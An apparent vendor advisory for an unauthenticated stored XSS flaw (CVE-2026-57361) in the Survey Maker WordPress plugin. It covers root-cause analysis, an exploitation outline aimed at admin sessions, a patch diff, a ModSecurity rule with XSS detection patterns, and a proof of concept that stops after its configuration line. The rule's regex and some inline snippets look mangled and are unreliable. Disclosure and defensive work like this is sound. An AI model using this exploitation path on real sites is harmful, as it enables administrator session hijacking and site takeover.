Published : July 20, 2026

CVE-2026-57361: Survey Maker by AYS <= 5.2.2.5 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-57361
Plugin survey-maker
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.2.2.5
Patched Version 5.2.2.6
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57361: Survey Maker by AYS <= 5.2.2.5 is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping. The vulnerability allows unauthenticated attackers to inject arbitrary web scripts that execute whenever a user accesses an injected page. The CVSS score is 7.2 (High).

The root cause is the failure to properly sanitize user-provided answer text in survey submissions before storing and rendering it in the admin submissions view. Specifically, the vulnerable code paths are in 'survey-maker/admin/partials/submissions/partials/survey-maker-each-submission-individual.php' (lines 84-109) and 'survey-maker/admin/partials/submissions/survey-maker-each-submission-display.php' (lines 440-460, 594-756, 862-993). These files directly output user-supplied 'otherAnswer' and 'answer' fields as raw strings without escaping functions like esc_html() or htmlspecialchars(). The variable '$user_answer' and '$other_answer' were printed directly into HTML through lines such as '

‘ . $user_answer . ‘

‘ and ‘‘ . ($other_answer) . ‘‘. The input is submitted via the public survey submission endpoint in ‘class-survey-maker-public.php’ but no sanitization is applied to text, short_text, name, email, time, date, and other free-form answer types before storage, meaning malicious payloads persist.

Exploitation requires an unauthenticated attacker to submit a survey response containing a crafted XSS payload in a text-based answer field (e.g., short_text, text, name, email). The attacker targets a publicly accessible survey form. They can use a simple POST request to the plugin’s AJAX handler or form submission endpoint, sending a payload such as ‘‘ as the value for a text question answer. The payload is stored in the database. When an administrator views the submission records in the WordPress admin panel (e.g., at /wp-admin/admin.php?page=survey-maker-submissions&action=view), the malicious script renders and executes in the context of the admin’s browser session. The attacker’s vector does not require authentication; they only need access to a published survey on the victim site.

The patch introduces proper output escaping using WordPress functions. In ‘survey-maker-each-submission-individual.php’ and ‘survey-maker-each-submission-display.php’, the developer added two new intermediate variables: ‘$user_answer_html = esc_html( html_entity_decode( (string) $user_answer, ENT_QUOTES, get_bloginfo( ‘charset’ ) ) );’ and ‘$other_answer_html = esc_html( html_entity_decode( (string) $other_answer, ENT_QUOTES, get_bloginfo( ‘charset’ ) ) );’. These decode HTML entities first to prevent double-encoding, then apply esc_html() which converts special characters like ” to their HTML entity equivalents. The patch replaces raw variable output with these escaped versions. Additionally, ‘class-survey-maker-public.php’ adds sanitize_text_field(), sanitize_textarea_field(), and sanitize_email() calls for user input in text, star, short_text, number, phone, date, time, date_time, name, and email answer types before they are stored or processed further.

If successfully exploited, an attacker can execute arbitrary JavaScript in the browser of any administrator who views the affected submissions page. This can lead to session hijacking (stealing admin cookies), credential theft via fake login forms, forced administrative actions (adding new admin users through cross-site request forgery), or defacement. Since the vulnerable code path is in the admin panel, but the submission comes from unauthenticated public users, the impact includes full compromise of the WordPress site if an admin visits the page.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/survey-maker/admin/partials/popup/survey-maker-popups-display.php
+++ b/survey-maker/admin/partials/popup/survey-maker-popups-display.php
@@ -1,7 +1,6 @@
 <?php
-$survey_max_id = Survey_Maker_Admin::get_max_id('popup_surveys');
 $plus_icon_svg = "<span class=''><img src='". SURVEY_MAKER_ADMIN_URL ."/images/icons/plus-icon.svg'></span>";
-$youtube_icon_svg = "<span ><img src='". SURVEY_MAKER_ADMIN_URL ."/images/icons/youtube-video-icon.svg' ></span>";
+$youtube_icon_svg = "<span><img src='". esc_attr(SURVEY_MAKER_ADMIN_URL) ."/images/icons/youtube-video-icon.svg' ></span>";

 $action = isset( $_GET["action"] ) ? sanitize_key( $_GET["action"] ) : "";
 $id     = isset( $_GET["id"] ) ? absint( sanitize_key( $_GET["id"] ) ) : null;
@@ -20,10 +19,18 @@
 <div class="wrap">
     <div class="ays-survey-heading-box">
         <div class="ays-survey-wordpress-user-manual-box">
-            <a href="https://ays-pro.com/wordpress-survey-maker-user-manual#frag_popup_survey" target="_blank" style="text-decoration: none;font-size: 13px;">
-                <i class="ays_fa ays_fa_file_text" ></i>
+            <a href="https://www.youtube.com/watch?v=gM6SQdOw3fA" target="_blank" style="text-decoration: none;font-size: 13px;">
+                <?php echo wp_kses($youtube_icon_svg, Survey_Maker_Data::get_allowed_tags_for_loader()); ?>
                 <span style="margin-left: 3px;text-decoration: underline;"><?php echo esc_html__( "How to use popup surveys", "survey-maker" ); ?></span>
             </a>
+            <a href="https://ays-pro.com/blog/how-to-make-a-survey-popup-for-your-wordpress" target="_blank" style="text-decoration: none;font-size: 13px;">
+                <i class="ays_fa ays_fa_file_text" ></i>
+                <span style="margin-left: 3px;text-decoration: underline;"><?php echo esc_html__( "View Documentation", "survey-maker" ); ?></span>
+            </a>
+            <a href="https://ays-demo.com/wordpress-popup-survey/" target="_blank" style="text-decoration: none;font-size: 13px;">
+                <i class="ays_fa ays_fa_external_link" ></i>
+                <span style="margin-left: 3px;text-decoration: underline;"><?php echo esc_html__( "Demo", "survey-maker" ); ?></span>
+            </a>
         </div>
     </div>
     <h1 class="wp-heading-inline">
@@ -31,10 +38,14 @@
         echo esc_html__( get_admin_page_title(), "survey-maker" );
         ?>
     </h1>
+    <div class="ays-survey-popup-survey-description ays_survey_small_hint_text ays_survey_small_hint_text_for_menu_items" style="max-width: 760px;margin: 0 0 14px;">
+        <p style="margin: 0"><?php echo esc_html__( "Create and manage popup surveys that display a selected survey in a popup window on your website.", "survey-maker" ); ?></p>
+        <p style="margin: 0;"><?php echo esc_html__( "Set the popup trigger, display rules, size, position, and behavior for each survey popup.", "survey-maker" ); ?></p>
+    </div>
     <?php do_action('ays_survey_sale_banner'); ?>
     <div class="ays-survey-maker-add-new-button-box">
         <?php
-            echo sprintf( '<a href="?page=%s&action=%s" class="page-title-action button-primary ays-survey-add-new-button-new-design"> %s ' . esc_html__( 'Add New', "survey-maker" ) . '</a>', esc_attr( $_REQUEST['page'] ), 'add', wp_kses($plus_icon_svg, Survey_Maker_Data::get_allowed_tags_for_loader()));
+            echo sprintf( '<a href="?page=%s&action=%s" class="page-title-action button-primary ays-survey-add-new-button-new-design" style="display: inline-block; margin-left: 0 !important;"> %s ' . esc_html__( 'Add New', "survey-maker" ) . '</a>', esc_attr( $_REQUEST['page'] ), 'add', wp_kses($plus_icon_svg, Survey_Maker_Data::get_allowed_tags_for_loader()));
         ?>
     </div>

@@ -55,22 +66,5 @@
             </div>
         </div>
         <br class="clear">
-        <div class="ays-survey-maker-add-new-button-box">
-            <?php echo sprintf( '<a href="?page=%s&action=%s" class="page-title-action button-primary ays-survey-add-new-button-new-design"> %s ' . esc_html__('Add New', "survey-maker") . '</a>', esc_attr( $_REQUEST['page'] ), 'add', wp_kses($plus_icon_svg,Survey_Maker_Data::get_allowed_tags_for_loader()));?>
-        </div>
-        <?php if($survey_max_id <= 0): ?>
-            <div class="ays-survey-create-survey-video-box" style="margin: auto;">
-                <div class="ays-survey-youtube-placeholder" data-video-id="gM6SQdOw3fA">
-                    <img src="<?php echo esc_url(SURVEY_MAKER_ADMIN_URL .'/images/youtube/create-popup-survey-video-screenshot.webp'); ?>" width="560" height="315">
-                </div>
-            </div>
-        <?php else: ?>
-            <div class="ays-survey-create-survey-video-box" style="margin: auto;height: 83px;">
-                <div class="ays-survey-create-survey-youtube-video">
-                    <?php echo wp_kses($youtube_icon_svg, Survey_Maker_Data::get_allowed_tags_for_loader()); ?>
-                    <a href="https://www.youtube.com/watch?v=gM6SQdOw3fA" target="_blank" title="YouTube video player" >How to create Popup Survey in Under One Minute</a>
-                </div>
-            </div>
-        <?php endif; ?>
     </div>
 </div>
--- a/survey-maker/admin/partials/settings/survey-maker-settings.php
+++ b/survey-maker/admin/partials/settings/survey-maker-settings.php
@@ -1351,6 +1351,7 @@
                                                     <i class="ays_fa ays_fa_info_circle"></i>
                                                 </a>
                                             </label>
+                                            <span class="ays_survey_small_hint_text"><?php echo esc_html__( "Shows the logged-in user's First Name. If the user is not logged-in, the shortcode will be empty.", "survey-maker" ); ?></span>
                                         </div>
                                         <div class="col-sm-8">
                                             <input type="text" id="ays_survey_user_first_name" class="ays-text-input" onclick="this.setSelectionRange(0, this.value.length)" readonly="" value='[ays_survey_user_first_name]'>
@@ -1369,6 +1370,7 @@
                                                     <i class="ays_fa ays_fa_info_circle"></i>
                                                 </a>
                                             </label>
+                                            <span class="ays_survey_small_hint_text"><?php echo esc_html__( "Shows the logged-in user's last name. If the user is not logged-in, the shortcode will be empty.", "survey-maker" ); ?></span>
                                         </div>
                                         <div class="col-sm-8">
                                             <input type="text" id="ays_survey_user_last_name" class="ays-text-input" onclick="this.setSelectionRange(0, this.value.length)" readonly="" value='[ays_survey_user_last_name]'>
@@ -1387,6 +1389,7 @@
                                                     <i class="ays_fa ays_fa_info_circle"></i>
                                                 </a>
                                             </label>
+                                            <span class="ays_survey_small_hint_text"><?php echo esc_html__( "Shows the logged-in user's nickname. If the user is not logged-in, the shortcode will be empty.", "survey-maker" ); ?></span>
                                         </div>
                                         <div class="col-sm-8">
                                             <input type="text" id="ays_survey_user_nickname" class="ays-text-input" onclick="this.setSelectionRange(0, this.value.length)" readonly="" value='[ays_survey_user_nick_name]'>
@@ -1405,6 +1408,7 @@
                                                     <i class="ays_fa ays_fa_info_circle"></i>
                                                 </a>
                                             </label>
+                                            <span class="ays_survey_small_hint_text"><?php echo esc_html__( "Shows the logged-in user's display name. If the user is not logged-in, the shortcode will be empty.", "survey-maker" ); ?></span>
                                         </div>
                                         <div class="col-sm-8">
                                             <input type="text" id="ays_survey_user_display_name" class="ays-text-input" onclick="this.setSelectionRange(0, this.value.length)" readonly="" value='[ays_survey_user_display_name]'>
@@ -1423,6 +1427,7 @@
                                                     <i class="ays_fa ays_fa_info_circle"></i>
                                                 </a>
                                             </label>
+                                            <span class="ays_survey_small_hint_text"><?php echo esc_html__( "Shows the logged-in user's email. If the user is not logged-in, the shortcode will be empty.", "survey-maker" ); ?></span>
                                         </div>
                                         <div class="col-sm-8">
                                             <input type="text" id="ays_survey_user_email" class="ays-text-input" onclick="this.setSelectionRange(0, this.value.length)" readonly="" value='[ays_survey_user_email]'>
@@ -1441,6 +1446,7 @@
                                                     <i class="ays_fa ays_fa_info_circle"></i>
                                                 </a>
                                             </label>
+                                            <span class="ays_survey_small_hint_text"><?php echo esc_html__( "Shows user's role(s) when logged-in. In case the user is not logged-in, the field will be empty.", "survey-maker" ); ?></span>
                                         </div>
                                         <div class="col-sm-8">
                                             <input type="text" id="ays_survey_user_wordpress_roles" class="ays-text-input" onclick="this.setSelectionRange(0, this.value.length)" readonly="" value='[ays_survey_user_wordpress_roles]'>
@@ -1459,6 +1465,7 @@
                                                     <i class="ays_fa ays_fa_info_circle"></i>
                                                 </a>
                                             </label>
+                                            <span class="ays_survey_small_hint_text"><?php echo esc_html__( "Copy the following shortcode and paste it in posts. Insert the Survey ID to receive the number of participants of the survey.", "survey-maker" ); ?></span>
                                         </div>
                                         <div class="col-sm-8">
                                             <input type="text" id="ays_survey_passed_users_count" class="ays-text-input" onclick="this.setSelectionRange(0, this.value.length)" readonly="" value='[ays_survey_passed_users_count id="Your_survey_ID"]'>
@@ -1477,6 +1484,7 @@
                                                     <i class="ays_fa ays_fa_info_circle"></i>
                                                 </a>
                                             </label>
+                                            <span class="ays_survey_small_hint_text"><?php echo esc_html__( "You need to insert Your Survey ID in the shortcode. It will show the creation date of the particular survey.", "survey-maker" ); ?></span>
                                         </div>
                                         <div class="col-sm-8">
                                             <input type="text" id="ays_survey_show_creation_date" class="ays-text-input" onclick="this.setSelectionRange(0, this.value.length)" readonly="" value='[ays_survey_creation_date id="Your_Survey_ID"]'>
@@ -1495,6 +1503,7 @@
                                                     <i class="ays_fa ays_fa_info_circle"></i>
                                                 </a>
                                             </label>
+                                            <span class="ays_survey_small_hint_text"><?php echo esc_html__( "You need to insert Your Survey ID in the shortcode. It will show the number of the sections of the given survey.", "survey-maker" ); ?></span>
                                         </div>
                                         <div class="col-sm-8">
                                             <input type="text" id="ays_survey_show_sections_count" class="ays-text-input" onclick="this.setSelectionRange(0, this.value.length)" readonly="" value='[ays_survey_sections_count id="Your_Survey_ID"]'>
@@ -1513,6 +1522,7 @@
                                                     <i class="ays_fa ays_fa_info_circle"></i>
                                                 </a>
                                             </label>
+                                            <span class="ays_survey_small_hint_text"><?php echo esc_html__( "You need to insert Your Survey ID in the shortcode. It will show the number of the questions of the given survey.", "survey-maker" ); ?></span>
                                         </div>
                                         <div class="col-sm-8">
                                             <input type="text" id="ays_survey_show_questions_count" class="ays-text-input" onclick="this.setSelectionRange(0, this.value.length)" readonly="" value='[ays_survey_questions_count id="Your_Survey_ID"]'>
@@ -1531,6 +1541,7 @@
                                                     <i class="ays_fa ays_fa_info_circle"></i>
                                                 </a>
                                             </label>
+                                            <span class="ays_survey_small_hint_text"><?php echo esc_html__( "Put this shortcode on a page to show the total count of survey categories.", "survey-maker" ); ?></span>
                                         </div>
                                         <div class="col-sm-8">
                                             <input type="text" id="ays_survey_categories_count" class="ays-text-input" onclick="this.setSelectionRange(0, this.value.length)" readonly="" value='[ays_survey_categories_count]'>
@@ -1986,4 +1997,4 @@
         </div>
     </div>
 </div>
-<!-- Pro features modal end -->
 No newline at end of file
+<!-- Pro features modal end -->
--- a/survey-maker/admin/partials/submissions/partials/survey-maker-each-submission-individual.php
+++ b/survey-maker/admin/partials/submissions/partials/survey-maker-each-submission-individual.php
@@ -84,6 +84,7 @@
 											if( isset( $user_answer['otherAnswer'] ) ){
 												$other_answer = $user_answer['otherAnswer'];
 											}
+											$other_answer_html = esc_html( html_entity_decode( (string) $other_answer, ENT_QUOTES, get_bloginfo( 'charset' ) ) );
 											if( isset( $user_answer['answer'] ) ){
 												$user_answer = $user_answer['answer'];
 											}
@@ -101,8 +102,9 @@
 												else{
 													$user_answer = '';
 												}
+												$user_answer_html = esc_html( html_entity_decode( (string) $user_answer, ENT_QUOTES, get_bloginfo( 'charset' ) ) );
 												$question_type_content .= '<div class="ays_each_question_answer">
-                                            <p class="ays_text_answer">' . $user_answer . '</p>
+                                            <p class="ays_text_answer">' . $user_answer_html . '</p>
                                         </div>';
 											}

@@ -360,4 +362,4 @@
             </div>
         </div>
     </div>
-</div>
 No newline at end of file
+</div>
--- a/survey-maker/admin/partials/submissions/survey-maker-each-submission-display.php
+++ b/survey-maker/admin/partials/submissions/survey-maker-each-submission-display.php
@@ -440,6 +440,7 @@
                                     if( isset( $user_answer['otherAnswer'] ) ){
                                         $other_answer = $user_answer['otherAnswer'] ;
                                     }
+                                    $other_answer_html = esc_html( html_entity_decode( (string) $other_answer, ENT_QUOTES, get_bloginfo( 'charset' ) ) );
                                     if( isset( $user_answer['answer'] ) ){
                                         $user_answer = $user_answer['answer'];
                                     }
@@ -451,8 +452,9 @@
                                     }

                                     if( in_array( $question['type'], $text_types ) ){
+                                        $user_answer_html = esc_html( html_entity_decode( (string) $user_answer, ENT_QUOTES, get_bloginfo( 'charset' ) ) );
                                         $question_type_content .= '<div class="ays_each_question_answer">
-                                            <p class="ays_text_answer">' . $user_answer . '</p>
+                                            <p class="ays_text_answer">' . $user_answer_html . '</p>
                                         </div>';
                                     }

@@ -594,7 +596,7 @@
                                                 </div>
                                             </label>
                                             <div class="ays-survey-answer-other-text">
-                                                <span style="display: inline-block;" class="ays-survey-answer-other-input ays-survey-question-input ays-survey-input" tabindex="0">' . ($other_answer) . '</span>
+                                                <span style="display: inline-block;" class="ays-survey-answer-other-input ays-survey-question-input ays-survey-input" tabindex="0">' . $other_answer_html . '</span>
                                                 <div class="ays-survey-input-underline" style="margin:0;"></div>
                                                 <div class="ays-survey-input-underline-animation" style="margin:0;background-color: '.$survey_for_charts.';"></div>
                                             </div>
@@ -754,8 +756,8 @@
                                                         $text_answer_count = isset($question_results[ $question['id'] ]['sum_of_same_answers'][$answer]) && $question_results[ $question['id'] ]['sum_of_same_answers'][$answer] != "" ? $question_results[ $question['id'] ]['sum_of_same_answers'][$answer] : "";
                                                         ?>
                                                         <div class="ays-survey-submission-text-answer">
-                                                            <div class="ays-survey-submission-text-answer-each"><?php echo stripslashes(nl2br( htmlentities( $answer )) ); ?></div>
-                                                            <div><?php echo stripslashes(nl2br( $text_answer_count) ); ?></div>
+                                                            <div class="ays-survey-submission-text-answer-each"><?php echo nl2br( esc_html( stripslashes( $answer ) ) ); ?></div>
+                                                            <div><?php echo esc_html( $text_answer_count ); ?></div>
                                                         </div>
                                                         <?php
                                                     endforeach;
@@ -862,7 +864,7 @@
                                                     foreach( $hours_array as $k_hours => $v_hours ){
                                                         ?>
                                                         <div class="ays-survey-question-time-summary-row">
-                                                            <div class="ays-survey-question-time-summary-hour"><span class="ays-survey-question-time-summary-hour-all"><?php echo $k_hours . " :"; ?></span></div>
+                                                            <div class="ays-survey-question-time-summary-hour"><span class="ays-survey-question-time-summary-hour-all"><?php echo esc_html( $k_hours . " :" ); ?></span></div>
                                                             <div class="ays-survey-question-time-summary-hours">
                                                                 <div class="ays-survey-question-time-summary-hours-row">
                                                                     <?php
@@ -991,8 +993,8 @@
                                                         $other_answer_count = isset($question_results[ $question['id'] ]['same_other_count'][$answer]) && $question_results[ $question['id'] ]['same_other_count'][$answer] != "" ? $question_results[ $question['id'] ]['same_other_count'][$answer] : "";
                                                         ?>
                                                         <div class="ays-survey-submission-text-answer">
-                                                            <div><?php echo stripslashes(nl2br( htmlentities( $answer )) ); ?></div>
-                                                            <div><?php echo stripslashes($other_answer_count); ?></div>
+                                                            <div><?php echo nl2br( esc_html( stripslashes( $answer ) ) ); ?></div>
+                                                            <div><?php echo esc_html( $other_answer_count ); ?></div>
                                                         </div>

                                                         <?php
--- a/survey-maker/admin/partials/surveys/actions/partials/survey-maker-surveys-actions-tab10.php
+++ b/survey-maker/admin/partials/surveys/actions/partials/survey-maker-surveys-actions-tab10.php
@@ -19,7 +19,7 @@
                             echo wp_kses(
                                 sprintf(
                                     /* translators: 1: Opening <strong> tag, 2: Closing </strong> tag */
-                                    esc_html__( 'Embed this survey anywhere on your site with a block, widget, or %1$sshortcode%2$s', 'survey-maker' ),
+                                    esc_html__( 'Show this survey anywhere on your site with a block, widget, or %1$sshortcode%2$s', 'survey-maker' ),
                                     '<strong>',
                                     '</strong>'
                                 ),
--- a/survey-maker/includes/lists/class-survey-maker-popup-survey-list-table.php
+++ b/survey-maker/includes/lists/class-survey-maker-popup-survey-list-table.php
@@ -41,6 +41,24 @@
         add_action( 'admin_notices', array( $this, 'popup_survey_notices' ) );
     }

+    /**
+     * Override of table nav to avoid breaking with bulk actions & according nonce field
+     */
+    public function display_tablenav( $which ) {
+        ?>
+        <div class="tablenav <?php echo esc_attr( $which ); ?>">
+
+            <div class="alignleft actions">
+                <?php  $this->bulk_actions( $which ); ?>
+            </div>
+            <?php
+            $this->pagination( $which );
+            ?>
+            <br class="clear" />
+        </div>
+        <?php
+    }
+
     protected function get_views() {
         $published_count = $this->get_statused_record_count( 'published' );
         $draft_count = $this->get_statused_record_count( 'draft' );
--- a/survey-maker/public/class-survey-maker-public.php
+++ b/survey-maker/public/class-survey-maker-public.php
@@ -252,6 +252,7 @@
                         $user_email = '';
                     }
                 }
+                $user_email = is_scalar( $user_email ) ? sanitize_email( $user_email ) : '';

                 $user_name = '';
                 if( isset( $data[ $name_prefix . 'user-name-' . $unique_id ] ) && !empty( $data[ $name_prefix . 'user-name-' . $unique_id ] ) ){
@@ -269,6 +270,7 @@
                         $user_name = '';
                     }
                 }
+                $user_name = is_scalar( $user_name ) ? sanitize_text_field( $user_name ) : '';

                 $result_unique_code = strtoupper( uniqid() );

@@ -610,7 +612,7 @@
             $question_answer = '';
             if( isset( $answered_questions[$qid] ) ){
                 if( isset( $answered_questions[$qid]['other'] ) ){
-                    $user_variant = $answered_questions[$qid]['other'];
+                    $user_variant = sanitize_text_field( $answered_questions[$qid]['other'] );
                     unset( $answered_questions[$qid]['other'] );
                 }

@@ -639,9 +641,9 @@
                         if( !in_array( '0', $question_answer ) ){
                             $user_variant = '';
                         }
-                        $user_answer = implode(',', $question_answer);
+                        $user_answer = implode(',', array_map( 'absint', $question_answer ));
                     }else{
-                        $user_answer = $question_answer;
+                        $user_answer = absint( $question_answer );
                         if( '0' != $question_answer ){
                             $user_variant = '';
                         }
@@ -652,38 +654,44 @@
                     $user_answer = '';
                     break;
                 case "text":
+                    $user_answer = is_scalar( $question_answer ) ? sanitize_textarea_field( $question_answer ) : '';
+                    $answer_id = 0;
+                    break;
                 case "star":
-                    $user_answer = $question_answer;
+                    $user_answer = is_scalar( $question_answer ) ? sanitize_text_field( $question_answer ) : '';
                     $answer_id = 0;
                     break;
                 case "short_text":
-                    $user_answer = $question_answer;
+                    $user_answer = is_scalar( $question_answer ) ? sanitize_text_field( $question_answer ) : '';
                     $answer_id = 0;
                     break;
                 case "number":
                 case "phone":
                 case "date":
+                    $user_answer = is_scalar( $question_answer ) ? sanitize_text_field( $question_answer ) : '';
+                    $answer_id = 0;
+                    break;
                 case "time":
-                    $user_answer = $question_answer;
+                    $user_answer = is_scalar( $question_answer ) ? sanitize_text_field( $question_answer ) : '';
                     $answer_id = 0;
                     break;
                 case "date_time":
-                    if(is_array($question_answer) && ($question_answer['date'] != '' || $question_answer['time'] != '')){
-                        $question_answer['date'] = $question_answer['date'] != '' ? stripslashes ( sanitize_text_field( $question_answer['date'] ) ) : '-';
-                        $question_answer['time'] = $question_answer['time'] != '' ? stripslashes ( sanitize_text_field( $question_answer['time'] ) ) : '-';
-                        $user_answer = implode(" " , $question_answer);
+                    if( is_array( $question_answer ) ){
+                        $question_answer_date = isset( $question_answer['date'] ) && is_scalar( $question_answer['date'] ) && $question_answer['date'] != '' ? stripslashes( sanitize_text_field( $question_answer['date'] ) ) : '-';
+                        $question_answer_time = isset( $question_answer['time'] ) && is_scalar( $question_answer['time'] ) && $question_answer['time'] != '' ? stripslashes( sanitize_text_field( $question_answer['time'] ) ) : '-';
+                        $user_answer = $question_answer_date != '-' || $question_answer_time != '-' ? $question_answer_date . ' ' . $question_answer_time : '';
                     }
                     else{
-                        $user_answer = $question_answer;
+                        $user_answer = is_scalar( $question_answer ) ? sanitize_text_field( $question_answer ) : '';
                     }
                     $answer_id = 0;
                     break;
                 case "name":
-                    $user_answer = $question_answer;
+                    $user_answer = is_scalar( $question_answer ) ? sanitize_text_field( $question_answer ) : '';
                     $answer_id = 0;
                     break;
                 case "email":
-                    $user_answer = $question_answer;
+                    $user_answer = is_scalar( $question_answer ) ? sanitize_email( $question_answer ) : '';
                     $answer_id = 0;
                     break;
                 default:
@@ -3113,6 +3121,10 @@
                 '.$answers_list_direction.'
                 '.$answers_grid_min_width.'
             }
+
+            #' . $this->html_class_prefix . 'container-' . $this->unique_id_in_class . ' .' . $this->html_class_prefix . 'sections .' . $this->html_class_prefix . 'question[data-type="date"] .' . $this->html_class_prefix . 'answer{
+                width: 100%;
+            }

             #' . $this->html_class_prefix . 'container-' . $this->unique_id_in_class . ' .' . $this->html_class_prefix . 'sections .' . $this->html_class_prefix . 'question .' . $this->html_class_prefix . 'answer.' . $this->html_class_prefix . 'other-answer-container{
                 '.$other_answer_box_width.'
@@ -3492,7 +3504,14 @@
         $output = array();
         if(isset($_POST['nonce']) && wp_verify_nonce($_POST['nonce'], 'survey_maker_autofill_nonce')){
             if(is_user_logged_in()) {
-                $output = wp_get_current_user();
+                $user = wp_get_current_user();
+
+                $output = array(
+                    'data' => array(
+                        'display_name' => $user->display_name,
+                        'user_email'   => $user->user_email,
+                    )
+                );
             } else {
                 $output = array();
             }
--- a/survey-maker/public/partials/class-survey-maker-submissions-summary-shortcode.php
+++ b/survey-maker/public/partials/class-survey-maker-submissions-summary-shortcode.php
@@ -234,8 +234,8 @@
                                                     foreach( $filtered_text_answers  as $aid => $answer ):
                                                         $text_answer_count = isset($question_results[ $question['id'] ]['sum_of_same_answers'][$answer]) && $question_results[ $question['id'] ]['sum_of_same_answers'][$answer] != "" ? $question_results[ $question['id'] ]['sum_of_same_answers'][$answer] : "";
                                                         $content[] = '<div class="' . $this->html_class_prefix . 'submission-text-answer">
-                                                                        <div>'. nl2br( htmlentities($answer) ) .'</div>
-                                                                        <div>'. nl2br( $text_answer_count ) .'</div>
+                                                                        <div>'. nl2br( esc_html( $answer ) ) .'</div>
+                                                                        <div>'. esc_html( $text_answer_count ) .'</div>
                                                                     </div>';

                                                     endforeach;
@@ -325,7 +325,7 @@
                                                         foreach( $hours_array as $k_hours => $v_hours ){

                                                             $content[] = '<div class="ays-survey-question-time-summary-row">';
-                                                                $content[] = '<div class="ays-survey-question-time-summary-hour"><span class="ays-survey-question-time-summary-hour-all">'.$k_hours.' :</span></div>';
+                                                                $content[] = '<div class="ays-survey-question-time-summary-hour"><span class="ays-survey-question-time-summary-hour-all">'. esc_html( $k_hours . ' :' ) .'</span></div>';
                                                                     $content[] = '<div class="ays-survey-question-time-summary-hours">';
                                                                         $content[] = '<div class="ays-survey-question-time-summary-hours-row">';
                                                                                 foreach( $v_hours as $k_hour => $count ){
@@ -406,7 +406,7 @@
                                                                         foreach($time_array[$new_date] as $f => $r){
                                                                             if($r != '' && $r != '-'){

-                                                                                $content[] = '<span class="ays-survey-question-date-time-summary-hour-all">'.$r.'</span>';
+                                                                                $content[] = '<span class="ays-survey-question-date-time-summary-hour-all">'. esc_html( $r ) .'</span>';

                                                                             }
                                                                         }
@@ -432,8 +432,8 @@
                                                     foreach( $filtered_other_answers as $aid => $answer ):
                                                         $other_answer_count = isset($question_results[ $question['id'] ]['same_other_count'][$answer]) && $question_results[ $question['id'] ]['same_other_count'][$answer] != "" ? $question_results[ $question['id'] ]['same_other_count'][$answer] : "";
                                                         $content[] = '<div class="' . $this->html_class_prefix . 'submission-text-answer">
-                                                                        <div>' . stripslashes(htmlentities($answer)) . '</div>
-                                                                        <div>' . stripslashes($other_answer_count) . '</div>
+                                                                        <div>' . esc_html( stripslashes( $answer ) ) . '</div>
+                                                                        <div>' . esc_html( $other_answer_count ) . '</div>
                                                                       </div>';
                                                     endforeach;
                                                 endif;
--- a/survey-maker/survey-maker.php
+++ b/survey-maker/survey-maker.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Survey Maker
  * Plugin URI:        https://ays-pro.com/wordpress/survey-maker
  * Description:       Survey Maker plugin allows you to create unlimited surveys with unlimited sections and unlimited questions.
- * Version:           5.2.2.5
+ * Version:           5.2.2.6
  * Author:            Survey Maker team
  * Author URI:        https://ays-pro.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'SURVEY_MAKER_VERSION', '5.2.2.5' );
+define( 'SURVEY_MAKER_VERSION', '5.2.2.6' );
 define( 'SURVEY_MAKER_NAME_VERSION', '1.0.0' );
 define( 'SURVEY_MAKER_NAME', 'survey-maker' );
 define( 'SURVEY_MAKER_DB_PREFIX', 'ayssurvey_' );
@@ -123,8 +123,8 @@
             <div class="navigation-bar">
                 <div id="navigation-container">
                     <div class="ays-survey-logo-container-upgrade ays-navigation-container-logo-updrade-box">
-                        <div>
-                            <a class="logo-container" href="https://ays-pro.com/wordpress/survey-maker" target="_blank">
+                        <div class="logo-container">
+                            <a href="https://ays-pro.com/wordpress/survey-maker" target="_blank">
                                 <img class="logo" src="<?php echo esc_url(SURVEY_MAKER_ADMIN_URL) . '/images/icon-survey-128x128.png'; ?>" alt="Survey Maker" title="Survey Maker"/>
                             </a>
                         </div>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-57361
# Blocks unauthenticated stored XSS via survey submission AJAX endpoint
# Targets the 'survey_maker_submit' action with malicious payloads in answer fields

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57361 Stored XSS via Survey Maker AJAX',severity:'CRITICAL',tag:'CVE-2026-57361',tag:'WordPress',tag:'XSS'"
  SecRule ARGS_POST:action "@streq survey_maker_submit" "chain"
    SecRule ARGS_POST:answers "@rx <[^>]*onerror|onload|onclick|onmouseover|javascript:s*|(.*).*)" "t:none,chain"
      SecRule ARGS_POST:answers "@rx <script|<img|onerror|onload" "t:urlDecode,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57361 - Survey Maker by AYS <= 5.2.2.5 - Unauthenticated Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
